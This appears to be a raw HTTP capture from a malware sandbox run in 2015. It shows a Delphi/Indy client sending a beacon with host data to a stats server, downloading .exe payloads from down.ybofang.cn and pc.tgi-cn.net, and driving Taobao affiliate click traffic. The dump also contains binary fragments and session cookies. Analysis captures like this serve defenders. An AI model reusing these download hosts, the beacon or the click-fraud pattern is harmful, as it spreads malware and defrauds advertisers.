P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181172127.s.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
4b.................*.. ......R.............% ....Xf.O~zf.P -1.8.....K.
...u.=.....0..HTTP/1.1 200 OK..Server: Tengine..Date: Mon, 01 Jun 2015
 17:57:12 GMT..Content-Type: text/html;charset=GBK..Transfer-Encoding:
 chunked..Connection: keep-alive..Vary: Accept-Encoding..Server-Num: j
udetail010179138144.s.et2..S: STATUS_NORMAL..Pragma: no-cache..Cache-C
ontrol: no-cache..Set-Cookie: uc1=cookie14=UoW0EaPwBRzqkw==; Domai
n=.taobao.com; Path=/..Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc7
2d5dc;Domain=.taobao.com;Path=/;HttpOnly..Set-Cookie: t=7805c21e133a08
7bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57
:12 GMT; Path=/..P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT
 DEM STA PRE COM NAV OTC NOI DSP COR'..Content-Language: zh-CN..Expire
s: Thu, 01 Jan 1970 00:00:01 GMT..Via: wagbridge010181172127.s.et2[web
]..Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oc
t-2050 02:50:13 GMT..Content-Encoding: gzip..4b.................*.. ..
....R.............% ....Xf.O~zf.P -1.8.....K....u.=.....0..
<<< skipped >>>

POST /newcount.aspx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3831323235313B30302D30432D32392D38412D38422D33373B6665693F2833293B30
HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:56:55 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 10
ok;1773463HTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2
015 17:56:55 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-
AspNet-Version: 2.0.50727..Cache-Control: private..Content-Type: text/
html; charset=utf-8..Content-Length: 10..ok;1773463..

GET /core.php?web_id=1254485011&t=z HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 752

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:46:08 GMT

Last-Modified: Mon, 01 Jun 2015 17:46:08 GMT

Expires: Mon, 01 Jun 2015 18:01:08 GMT

Via: cache25.l2de1[0,200-0,H], cache54.l2de1[0,0], cache5.de1[0,200-0,H], cache10.de1[0,0]

Age: 661

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:42 GMT

X-Swift-CacheTime: 686
!function(){var p,q,r,a=encodeURIComponent,b="1254485011",c="",d="",e=
"online_v3.php",f="z13.cnzz.com",g="1",h="text",i="z",j="站ž
71;统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="
1",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" 
f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.
callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createSc
riptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?we
b_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/im
g/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><
img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a hr
ef='" q "' target=_blank title='" j "'>" j "</a>",k.createIco
n([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: applicatio
n/javascript..Content-Length: 752..Connection: keep-alive..Date: Mon, 
01 Jun 2015 17:46:08 GMT..Last-Modified: Mon, 01 Jun 2015 17:46:08 GMT
..Expires: Mon, 01 Jun 2015 18:01:08 GMT..Via: cache25.l2de1[0,200-0,H
], cache54.l2de1[0,0], cache5.de1[0,200-0,H], cache10.de1[0,0]..Age: 6
61..X-Cache: HIT TCP_MEM_HIT dirn:-2:-2..X-Swift-SaveTime: Mon, 01 Jun
 2015 17:49:42 GMT..X-Swift-CacheTime: 686..!function(){var p,q,r,a=en
codeURIComponent,b="1254485011",c="",d="",e="online_v3.php",f="z13.cnz
z.com",g="1",h="text",i="z",j="站长统计",k=win
dow["_CNZZDbridge_" b].bobject,l="http:",m="1",n=l "//online.cnzz.com/
online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),
<<< skipped >>>

GET /stat.htm?id=1254485011&r=&lg=en-us&ntime=none&cnzz_eid=578974474-1433180982-&showp=1276x846&t=undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&h=1&rnd=1863171824 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Mon, 01 Jun 2015 17:57:10 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: log.mmstat.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:09 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: sca=361a82e5; path=/; domain=.mmstat.com

Set-Cookie: tbsa=6b43ef7ad92ee3440933f450_1433181429_1; path=/; domain=.mmstat.com

Set-Cookie: atpsida=b92f0ff7527df1996aeb7eb6_1433181429; expires=Thu, 29-May-25 17:57:09 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Mon, 01 Jun 2015 17:57:09 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: sca=361a82e5; 
path=/; domain=.mmstat.com..Set-Cookie: tbsa=6b43ef7ad92ee3440933f450_
1433181429_1; path=/; domain=.mmstat.com..Set-Cookie: atpsida=b92f0ff7
527df1996aeb7eb6_1433181429; expires=Thu, 29-May-25 17:57:09 GMT; path
=/; domain=.mmstat.com..Location: hXXp://pcookie.taobao.com/app.gif?&c
na=74rzDSF6YRECAcGK9Oe2PPyt..Expires: Thu, 01 Jan 1970 00:00:01 GMT..C
ache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,
...........L..;..

GET /small/sw/-2100_1_xcfx.exe HTTP/1.1

Host: down.ybofang.cn

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Wed, 20 May 2015 03:35:12 GMT

Accept-Ranges: bytes

ETag: "59dc60faad92d01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:17 GMT

Content-Length: 2396600
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..
u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....
:J.................\..........!1.......p....@.........................
.@......).$......................................s...........m........
..`v$.X............................................................p..
.............................text...8Z.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h>[email protected]>[email protected]
...Pr@..}..e..9}[email protected]........ M............U....M....3..
.3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M..
[email protected]@..u....E..9}[email protected].}.j
[email protected]@[email protected] ...Pj.h`6B.W..Xr@.
.u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.
;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..
<<< skipped >>>

GET /app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pcookie.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; v=0; cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:10 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:10 GMT; path=/; domain=.taobao.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Mon, 01 Jun 2015 17:57:10 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YRECA
cGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:10 GMT; path=/; domain=.taob
ao.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cach
e..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 33264

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:48:42 GMT

Last-Modified: Mon, 01 Jun 2015 11:42:49 GMT

Expires: Thu, 29 May 2025 11:48:42 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache34.l2de1[0,200-0,H], cache46.l2de1[0,0], cache5.uk1[0,200-0,H], cache10.uk1[0,0]

Age: 22107

X-Cache: HIT TCP_MEM_HIT dirn:1:900664583

X-Swift-SaveTime: Mon, 01 Jun 2015 11:49:38 GMT

X-Swift-CacheTime: 315359944
......JFIF.............C...........................#.%$"."!& 7/&)4)!"0
A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.....................................
.............A..........................!1aAQq."...2BR...#3b....$Cr.DS
..L..................................4........................!1A."2
Q.Ra3Bq.....#....$b.............?...[...............^..d\.M...8._.E...
?TL.....b.4x/.... .Q...W..sW..#..U}*..j..^h..~u..s....^>G........n=
....2\/..O...4.*......o.............*.|x..M.*.i.ze[sG.........s.....:.
p,....................................................................
......................................................D.."fg....W-.k.U
9...j.Q?.p,../Y...(..W....e.....'......j&i..c....).....).......`......
.......{.0......`...0......`...0..v?I......?..."eON.....oO .U4Fi.zQL{"
?.x...\]..].b..U..y..".n}...J.n..8..tc.3...O....\.=9...s...s..?..x.6.Y
.......R~/.............Jg?....9..~q{..?..1........V.W...Q....bc14...(.
......L...~...]....D....x.vyz...W.n..)..Z..[I..jO......\.1.u|.....L.B.
\.E4.qnf....%....3.h0...7..r.E.b.&...~S..S..5.jr....-.. ..*.N_?....v..
...D.W.akvs.u....I.0..7.....MUu...&iON...W..j.r....G.J...*VySg....Tyy.
.s.D}K.5.t.....`...0......`...0......`...0......`...0......`...0......
`...0......`...0......`...0......`...0......`...0......`...0......`...
0......`...0......`...0......`...0......`...0......`...0......`...0...
...`...0......SD.TS...Y3N..]..O...%.:.s......E33.....r....n...1.3.....
u.g..&.s..S4..W..........O...4....~...W>.4.#....Y.......hX.o...
<<< skipped >>>

GET /play/fxappimg/btn/tab3.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Mon, 01 Dec 2014 12:08:00 GMT

Accept-Ranges: bytes

ETag: "4d3aa735fdd01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:52 GMT

Content-Length: 12235
.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:F9757A3FF07C11E3B9F38277EE
41A726" xmpMM:DocumentID="xmp.did:F9757A40F07C11E3B9F38277EE41A726">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F9757A3DF07C11E3B9F3
8277EE41A726" stRef:documentID="xmp.did:F9757A3EF07C11E3B9F38277EE41A7
26"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>u6>...,AIDATx..}..eGy^.}.}....Y.$"Y...0.A.
v.'^....dk.(XU...e.A"..L*.8.Fc...v.....$.......J......Hveq**.9.e.7..{O
.9.....r.{...T.Jo...O.w.........Y...w...0g..=.3. .7.t|.|.`..m*..g.....
...D..D..D..{...}`..=#.._.S.L=....H.%...c.......).X...... .%.....7h.&g
t;p..g.......w.........o..o?..A...t....f...yQ}.....5t....j..o..gb..hy.
.......l. ..(....*.../.....>..|..W./$....P.u4.P./i.......k.........
[email protected]@......n.g../..!.:.....[-.......%x .'.....=........m
....w-.3#.T.:P33...2R0)n'O....ysm.u4........G........|.p.........8q..7
......6... ...............t.`.<.. .b..e5...^.F_T.3.,.U.w[..^...
<<< skipped >>>

HEAD /small/sw/-2100_1_xcfx.exe HTTP/1.1

Host: down.ybofang.cn

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 2396600

Content-Type: application/octet-stream

Last-Modified: Wed, 20 May 2015 03:35:12 GMT

Accept-Ranges: bytes

ETag: "59dc60faad92d01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:16 GMT

GET /s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.tbcdn.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 3711

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:57:04 GMT

Last-Modified: Mon, 09 Sep 2013 03:33:34 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache11.l2hk1[0,304-0,H], cache17.l2hk1[0,0], cache12.uk1[0,200-0,H], cache6.uk1[0,0]

Content-Encoding: gzip

Age: 3606

X-Cache: HIT TCP_MEM_HIT dirn:5:202406852

X-Swift-SaveTime: Mon, 01 Jun 2015 17:17:43 GMT

X-Swift-CacheTime: 3600
...........Yks.H..>..S;6D-..<&(...35S;..&N..<.T........W...=.
..dy2....M?n.>..G...X.**.<.....;...?<../......d.....o.{b.).we
6Mk..\...x.......5.....e=.|.._>|...8v.).sQ...*.,1....j.d....X8.MX..
...S.......u.U...VKQF9.*/*.U]...(...;.z....-.......p...KB3-..KQ......i
..|...>g.;..Y....,hF...:.......([email protected]..
.~B{.,E.}.........\.<....oq........s.5..=).........$.....#v..o.,..u
}.....V.-..5...u...."....4.U...\lj.......F.4.'..b.;1..Z. ..:.a"q......
.......mw.....%_:...M....g5.....M.........D=[..C.....{.]..#H ..w3..,{K
.......g....J*...#.lY-m9P..Y..b_j"..c\.X...G....s^..v'........X.....`~
j.fD..n........7...3..!..,f.b.{)...T|..9NB.v.... tt.V .a{.....F..e..Q.
.q)...e....G..a..b^.@".......2.]Y..IQ...3.~....|.<....XA.|C.f.4.3(.
0..v.[...#..3..&...B[...<..?.y.8<...........|U...e...,.. ...U...
"!.VR.....j.eQeD..]......Y;......n..N.........JD.V....\R-.Y2..Q'c...x.
.#.ap.4.2a...%.JY.jz..eS..........n-w.$..6..)....7.K...P..............
.4..u...3.....p.K....#.h]....Qb.)m..O=s.. Q.....>...J.......S.C...6
3 ....7Y.Mr..l!C..K.Y..32.....[...V._...XI..C...]..{..'.....{.P. 2..Z.
.`[email protected]..#.s....gO...R.6.....aJ$..e'.8.....,..s.....t......f4........
.XLl.eV..[. ...'.. .I.m; .g....-.........`f..YK;..uk.b*e..LAG....f.bkJ
|!...f.n....)A.....e....Q..l....;G...O;.6.3.E..#\[email protected]/..@....|...w.D:
8....0.-G*B.e.%...@0.....|*>..;.....u..].3.....2X..4vM.e...!/v.\.2.
.Q.Q.H.a....H..7.ja..3.?t..`..O...,.9x.....v.....p.H..$l...2\...g.."..
b#c..'.l.......'^,j..;.a..v22^N%..xP.#\H.....?..L<.T..Ss.&...W7
<<< skipped >>>

GET /tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 74007

Connection: keep-alive

Date: Mon, 01 Jun 2015 02:09:08 GMT

Last-Modified: Mon, 01 Jun 2015 02:00:14 GMT

Expires: Thu, 29 May 2025 02:09:08 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache6.l2de1[0,200-0,H], cache62.l2de1[0,0], cache3.de1[0,200-0,H], cache10.de1[0,0]

Age: 56880

X-Cache: HIT TCP_MEM_HIT dirn:4:59385243

X-Swift-SaveTime: Mon, 01 Jun 2015 02:11:00 GMT

X-Swift-CacheTime: 315359888
......Exif..II*.................Ducky.......<......Adobe.d.........
......................................................................
..................................................................,...
......................................................................
......................!1.AQ".aq.2.....B..Rbr#.......3...CSs...$4%..c.T
t.5U..D67.d..E....8......................1.!AQ..aq.."......2BR...br...
..#3C4...s$..Sc5.......T%............?..._>.XD.3.....B;.)..... ...a
P..LaS..S)...w#......q......{..j...^....'....UY.f~f..G..3.&z..:.......
.........%[..?[.k..b.U"Y..... m..W.).Iq@z....]_?..........\Ik...-....V
..g..\QB.....O....e..g............T.....Z....&.b....pxT. .....F...a.`.
.......(.....t.(.....}5..8...E.gd..........i..Q.7<..d......e.. ....
...:.v......P...@... .....*II.a.SL.u.......HA....T.T.t.1@...@...@.(.P.
..@........'.M. H...@?%....@..... .........En.=.l?K..?...Q..32......;.
.2.7..tG.=...K#.t.a...e..6.-..Q\...k.....9..M.d-....O.........^.....nW
......m.........U..P...B....%J<..s.S.iic.v.3.^.t......-.z..j.l..j..
[..y.F....Q.2$....u-.1.ACm..Xq.V.R...uwr.rr...wwq.j.S.{(.y..z...S...n6
.Q.,3...[.7.%>.kew<[v.... ../Y...........c...#>......V...u^..
..i|..|....m\.<....q..l...k..`.r>..M..&..q.7.LgI....D@...... .0P
..L....giH.{i6E.....?/9...?..?.Z....P.Gm..oY.L.FUF....)S.}l.q..I.....s
~......X)Q [email protected]. ..Y.yl".K3".HO0....n.Iw.....e.............$.....67G&
[email protected][email protected]...........@[email protected]....|o@...(.Z.
[email protected].(.P...(.R.(.-@[email protected][email protected]~..e..(..@..!..`....z.. 
<<< skipped >>>

GET /json/tg/juSkip.htm?callback=skipFn0&menuType=index HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: skip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; bid=7

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:09 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Bucket-Hash: jhs_b_A

At_Bucketid: jhs_ju_7

Server-Num: ju010178049111.n.et2

S: STATUS_NOT_EXISTED

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: v=0; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: jc=shanghai; Domain=.ju.taobao.com; Expires=Thu, 29-May-2025 17:57:09 GMT; Path=/

Set-Cookie: t=7805c21e133a087bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57:09 GMT; Path=/

Set-Cookie: _tb_token_=99grvpQKSo; Domain=.taobao.com; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010103196070.n.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
2ee...............k.A......#.BH....C.. .. ...2I..I..lf.Q.......!.~Xc..
..K".. .PT......[..4....6d..3.<.;...._q........M.!..............N..
.ARRdY.K.LH1..... V..9...!..42B.C......yDq......UFFt".(.H....D..<..
[a...I..L...]4.z..j#=g.=..05C*..|.77.q.;b\[email protected]
....9j..\..2.......X .9.........g.!G.......`5L|..:g...g.Bi.L..;....kU.
D...yr.....{K...e2.`.o.......4"...].W.<......3.<=...X.....y...ys
...[?7?.p...!O...IX..e....:..I......z]0G.....A..Y............).Y<..
...>;k.:e%&.)...'.f.Q{V%....V..j..>.@&Q...z........k....G..$k.*.
...q~..?.k.....q..J........>...WJb.(...(."z......G.G2..IPo..k......
......FS.....4L..K..T....q....1.u..J$rV..t....Q...G..8......n..7D.&NIG
r.:9...G.B'$}VV.mT.om..v.........v...Aq!.#..O............z............
_..0pu.....0..
<<< skipped >>>

HEAD /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2511776

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAAMUmIi7Duw0A5/SKwR1pmC/Y8P3I; Path=/; Expires=Mon, 01-Jun-15 18:57:54 GMT; HttpOnly

Last-Modified: Mon, 01 Jun 2015 17:48:36 GMT

Accept-Ranges: bytes

ETag: "83d0512f939cd01:256"

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:50:03 GMT

Via: cache26.l2cn202[281,200-0,H], cache23.l2cn202[157,0], kunlun6.cn125[0,200-0,H], kunlun7.cn125[0,0]

Age: 471

X-Cache: HIT TCP_MEM_HIT dirn:3:165368355

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:08 GMT

X-Swift-CacheTime: 3600

GET /stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=102748168-1433180973-&showp=1276x846&t=&h=1&rnd=1688775461 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Mon, 01 Jun 2015 17:57:02 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Accept-Language: en-us

Accept-Encoding: gzip, deflate

